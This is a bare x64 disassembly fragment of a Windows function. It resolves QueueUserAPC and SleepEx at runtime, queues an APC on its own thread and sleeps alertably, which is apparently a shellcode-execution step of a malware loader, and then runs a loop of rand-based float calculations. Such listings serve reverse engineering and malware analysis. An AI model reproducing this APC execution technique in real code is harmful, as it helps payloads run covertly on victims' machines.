mulsd xmm0, xmm1
movsd qword [rbp + 0x788], xmm0
mov rax, qword [rbp + 0x770]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x618]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x610]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x60c], 0
mov ecx, 0x3cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x784], 0
jmp 0x140002b01
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x60c], edx
mov edx, dword [rbp + 0x60c]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x60c], eax
cmp dword [rbp + 0x60c], 0x168
jle 0x140002a87
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x600]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002afa
cmp dword [rbp + 0x60c], 0
jns 0x140002ab4
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x600]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002afa
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x60c]
movsd xmm0, qword [0x14000b620]
mulsd xmm0, xmm1
movsd xmm1, qword [0x14000b628]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x600]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0xf2
jle 0x140002a20
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
add rsp, 0x880
pop rsi
pop rdi
pop rbp
ret